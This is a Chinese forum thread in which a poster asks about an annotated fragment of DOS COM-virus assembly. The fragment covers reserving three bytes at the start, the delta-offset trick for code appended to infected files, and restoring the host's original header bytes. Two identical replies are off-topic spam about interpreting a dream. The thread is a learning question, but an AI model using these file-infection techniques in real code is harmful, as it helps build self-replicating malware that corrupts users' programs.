回 帖 发 新 帖 刷新版面

主题:请高人指点

为什么程序开头要留 3BYTES空间
SUB SI,OFFSET LOCATE 有什么用  
FIRST_3_BYTE DB 0CDh,20h,? ; DB 0CDh,20h = INT 20h (程序结束)

CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 100h
START:
NOP ; ┐
NOP ; ├> 保留 3 BYTES 的空间
NOP ; ┘

VIR_START: ; 此处才是真正病毒程序的开端


CALL LOCATE ; 可以想成 PUSH IP
LOCATE: ;
POP SI ;
SUB SI,OFFSET LOCATE ; 减掉多余的值,此时 SI=偏移值

; 由于此毒是接在档案后面,而被感染的档案大小不一,所以病毒接在档案后的偏移
; 也会不一定,而会造成变量无法定位,所以我们要得知偏移了多少
; 下面程序只要牵涉到和内存寻址有关的部份,都会加上 [SI] 偏移值


MOV AX,WORD PTR DS:FIRST_3_BYTE[SI] ; ┬> 恢复内存中,原
MOV DS:[100h],AX ; │ 档案开头,被病毒
MOV AL,DS:FIRST_3_BYTE[SI+2] ; │ 改过的 3 BYTES
MOV DS:[100h+2],AL ; ┘

; 因为此毒第一次执行时,之前并没有感染过档案,而要恢复此 3 BYTES 时会盖到
; 病毒本身,所以一开始我们加了 3 个 NOP 来空出此空间,VIR_START 才是真正
; 的病毒码开始处

回复列表 (共2个回复)

沙发

梦见在亲戚家,到吃饭了时间了我还在外面玩,当我回去时亲戚正在吃饭还一边吃一边喊我快去吃饭,我到厨房看到了做好的饭,然后就醒了!请高人指点!感激不尽!

板凳

梦见在亲戚家,到吃饭了时间了我还在外面玩,当我回去时亲戚正在吃饭还一边吃一边喊我快去吃饭,我到厨房看到了做好的饭,然后就醒了!请高人指点!感激不尽!

我来回复

您尚未登录,请登录后再回复。点此登录或注册